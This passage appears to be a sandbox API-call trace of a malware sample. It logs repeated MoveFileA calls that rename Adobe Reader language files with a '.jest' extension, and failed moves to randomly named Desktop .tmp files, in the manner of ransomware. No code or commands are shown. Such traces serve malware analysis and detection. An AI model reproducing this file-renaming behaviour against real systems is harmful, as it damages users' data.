(bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹄硴⹴敪瑳") returned 0x70 [0151.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.312] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹄硴⹴敪瑳") returned 0x70 [0151.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt.jest") returned 113 [0151.312] VarBstrFromR4 (in: fltIn=0x4794507f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.99") returned 0x0 [0151.313] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.313] CoFreeUnusedLibraries () [0151.313] GetTickCount () returned 0x1157993 [0151.313] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.313] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.313] GetTickCount () returned 0x1157993 [0151.313] IsWindowVisible (hWnd=0x30268) returned 0 [0151.313] Sleep (dwMilliseconds=0x0) [0151.315] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZyiqA102zsSbs_cvZjDRjtK54 wJOXDxat4EGcwLx9TF20jN3RbyWjcN3ySpgm8J4B4TR4TRC k4eI5p03MVvjBBU SQdyAjjEldD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zyiqa102zssbs_cvzjdrjtk54 wjoxdxat4egcwlx9tf20jn3rbywjcn3yspgm8j4b4tr4trc k4ei5p03mvvjbbu sqdyajjeldd.tmp")) returned 0 [0151.315] GetLastError () returned 0x2 [0151.315] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.315] CoFreeUnusedLibraries () [0151.315] GetTickCount () returned 0x1157993 [0151.315] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.316] GetTickCount () returned 0x1157993 [0151.316] IsWindowVisible (hWnd=0x30268) returned 0 [0151.316] Sleep (dwMilliseconds=0x0) [0151.317] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt.jest")) returned 1 [0151.318] GetLastError () returned 0x0 [0151.319] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹁硴t") returned 0x6b [0151.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.319] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹁硴t") returned 0x6b [0151.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt") returned 108 [0151.319] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹁硴⹴敪瑳") returned 0x70 [0151.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.319] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹁硴⹴敪瑳") returned 0x70 [0151.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt.jest") returned 113 [0151.319] VarBstrFromR4 (in: fltIn=0x47945081, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.01") returned 0x0 [0151.320] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.320] CoFreeUnusedLibraries () [0151.320] GetTickCount () returned 0x1157993 [0151.320] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.320] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.320] GetTickCount () returned 0x1157993 [0151.320] IsWindowVisible (hWnd=0x30268) returned 0 [0151.320] Sleep (dwMilliseconds=0x0) [0151.321] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jIxB7512B6wbYWITnzgibyhAseAfIRep2XIjfZdB4Q_nvOZ5goSKM69dNc JZM QfE8RVWtGnyB5LqMQxRkfVswDh-8d7oPVL6Mex.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jixb7512b6wbywitnzgibyhaseafirep2xijfzdb4q_nvoz5goskm69dnc jzm qfe8rvwtgnyb5lqmqxrkfvswdh-8d7opvl6mex.tmp")) returned 0 [0151.322] GetLastError () returned 0x2 [0151.322] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.322] CoFreeUnusedLibraries () [0151.322] GetTickCount () returned 0x1157993 [0151.323] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.323] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.323] GetTickCount () returned 0x1157993 [0151.323] IsWindowVisible (hWnd=0x30268) returned 0 [0151.323] Sleep (dwMilliseconds=0x0) [0151.324] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt.jest")) returned 1 [0151.325] GetLastError () returned 0x0 [0151.325] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡兟⹁硴t") returned 0x6b [0151.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.325] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡兟⹁硴t") returned 0x6b [0151.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x14cf144, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt") returned 108 [0151.326] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡兟⹁硴⹴敪瑳") returned 0x70 [0151.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.326] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡兟⹁硴⹴敪瑳") returned 0x70 [0151.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt.jest") returned 113 [0151.326] VarBstrFromR4 (in: fltIn=0x47945081, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.01") returned 0x0 [0151.327] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.327] CoFreeUnusedLibraries () [0151.327] GetTickCount () returned 0x1157993 [0151.327] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.327] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.327] GetTickCount () returned 0x1157993 [0151.327] IsWindowVisible (hWnd=0x30268) returned 0 [0151.327] Sleep (dwMilliseconds=0x0) [0151.328] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iJ2GjdEmhaReW3oypmPxskIt FjkeYMj1Fsht8sBx25uiIOZZLh0ZDx-Yeh7qRIeH5CMWPfVWhkdDW43IKMIViS64SiFO R7yxcuS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ij2gjdemharew3oypmpxskit fjkeymj1fsht8sbx25uiiozzlh0zdx-yeh7qrieh5cmwpfvwhkddw43ikmivis64sifo r7yxcus.tmp")) returned 0 [0151.328] GetLastError () returned 0x2 [0151.329] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.329] CoFreeUnusedLibraries () [0151.329] GetTickCount () returned 0x11579a3 [0151.329] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.329] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.329] GetTickCount () returned 0x11579a3 [0151.329] IsWindowVisible (hWnd=0x30268) returned 0 [0151.329] Sleep (dwMilliseconds=0x0) [0151.330] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt.jest")) returned 1 [0151.332] GetLastError () returned 0x0 [0151.332] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡佟⹍硴t") returned 0x6b [0151.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.332] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡佟⹍硴t") returned 0x6b [0151.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt") returned 108 [0151.332] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡佟⹍硴⹴敪瑳") returned 0x70 [0151.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.332] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡佟⹍硴⹴敪瑳") returned 0x70 [0151.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt.jest") returned 113 [0151.332] VarBstrFromR4 (in: fltIn=0x47945083, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.02") returned 0x0 [0151.333] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.333] CoFreeUnusedLibraries () [0151.333] GetTickCount () returned 0x11579a3 [0151.333] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.333] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.333] GetTickCount () returned 0x11579a3 [0151.333] IsWindowVisible (hWnd=0x30268) returned 0 [0151.333] Sleep (dwMilliseconds=0x0) [0151.335] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JR7TIhQ-pGe6jt2KXi2dl58dCwiWXaKFCypyoAy-1Rcha89qrfKIBlCjF4JiD7wEWb55C7a1p2jBbXVXXsNx9d Ewe-0nI_Akh z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jr7tihq-pge6jt2kxi2dl58dcwiwxakfcypyoay-1rcha89qrfkiblcjf4jid7wewb55c7a1p2jbbxvxxsnx9d ewe-0ni_akh z.tmp")) returned 0 [0151.335] GetLastError () returned 0x2 [0151.336] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.336] CoFreeUnusedLibraries () [0151.336] GetTickCount () returned 0x11579a3 [0151.336] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.336] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.336] GetTickCount () returned 0x11579a3 [0151.336] IsWindowVisible (hWnd=0x30268) returned 0 [0151.336] Sleep (dwMilliseconds=0x0) [0151.338] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt.jest")) returned 1 [0151.339] GetLastError () returned 0x0 [0151.339] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䵟⹁硴t") returned 0x6b [0151.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.339] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䵟⹁硴t") returned 0x6b [0151.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt") returned 108 [0151.339] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䵟⹁硴⹴敪瑳") returned 0x70 [0151.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.339] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䵟⹁硴⹴敪瑳") returned 0x70 [0151.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt.jest") returned 113 [0151.340] VarBstrFromR4 (in: fltIn=0x47945083, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.02") returned 0x0 [0151.340] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.340] CoFreeUnusedLibraries () [0151.340] GetTickCount () returned 0x11579a3 [0151.341] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.341] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.341] GetTickCount () returned 0x11579a3 [0151.341] IsWindowVisible (hWnd=0x30268) returned 0 [0151.341] Sleep (dwMilliseconds=0x0) [0151.342] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uHj9omCdlctki6pvuFEj08GzPfoFQpaKm-AKhMQFIrznzgRuM3MBJZ5r-f qllU4W9UX8zI-6BrRhw2wlVYtVyTuSyqjQ_FvEEXC5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhj9omcdlctki6pvufej08gzpfofqpakm-akhmqfirznzgrum3mbjz5r-f qllu4w9ux8zi-6brrhw2wlvytvytusyqjq_fveexc5.tmp")) returned 0 [0151.342] GetLastError () returned 0x2 [0151.343] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.343] CoFreeUnusedLibraries () [0151.343] GetTickCount () returned 0x11579a3 [0151.343] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.343] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.343] GetTickCount () returned 0x11579a3 [0151.343] IsWindowVisible (hWnd=0x30268) returned 0 [0151.343] Sleep (dwMilliseconds=0x0) [0151.345] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt.jest")) returned 1 [0151.346] GetLastError () returned 0x0 [0151.346] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䱟⹙硴t") returned 0x6b [0151.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.347] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䱟⹙硴t") returned 0x6b [0151.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt") returned 108 [0151.347] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䱟⹙硴⹴敪瑳") returned 0x70 [0151.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.347] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䱟⹙硴⹴敪瑳") returned 0x70 [0151.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt.jest") returned 113 [0151.347] VarBstrFromR4 (in: fltIn=0x47945085, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.04") returned 0x0 [0151.348] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.348] CoFreeUnusedLibraries () [0151.348] GetTickCount () returned 0x11579b3 [0151.348] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.348] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.348] GetTickCount () returned 0x11579b3 [0151.348] IsWindowVisible (hWnd=0x30268) returned 0 [0151.348] Sleep (dwMilliseconds=0x0) [0151.350] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YkofTi 